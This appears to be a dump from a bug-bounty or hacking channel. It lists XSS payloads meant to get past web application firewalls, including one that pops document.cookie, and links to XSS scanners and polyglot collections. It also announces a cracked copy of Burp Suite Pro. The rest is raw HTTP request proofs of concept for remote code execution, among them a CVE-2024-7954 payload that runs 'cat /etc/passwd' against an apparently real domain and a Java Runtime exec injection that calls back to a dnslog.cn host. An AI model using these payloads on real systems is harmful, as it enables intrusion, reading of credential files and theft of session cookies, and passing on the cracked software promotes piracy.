XSS Payload

<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>

"><img src=x onerror=confirm(document.cookie)>

<sVg/onLy=1 onLoaD=confirm(1)//

I am back ..

Burp Suite Pro v2024.7.1 Cracked

try this amazingg xss scanner made by our brother sarper its so fast bcz of new method it can scan 1k urls in just 5-20 sec with 99% success rate it scan urls with xss polyglots payloads and run on all urls parameters just put all urls in wordlist file ones you get hit just open that link directly and xss popup show ❤️
https://github.com/sarperavci/MXS

try this tool to find broken linkHijacking thanx to nafeed to sharing me https://github.com/H4cker-Nafeed/Nafeed-Broken-Link

try this xss pollyglots to bypass waf it will sure help you just use it manully+oneliner commands https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

remote code execution | CVE-2024-7954 | bug-bounty poc


https://youtu.be/P9QxmY1gS3g?si=ECP1ACaUu8bUbCbA

POST /index.php?action=porte_plume_previsu HTTP/2
Host: 3fpt.sn
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

POST /function/save HTTP/1.1
Host: 192.168.116.128:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 139

id=&name=test&parameter=test&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec('ping+18k2tu.dnslog.cn')%3B%7B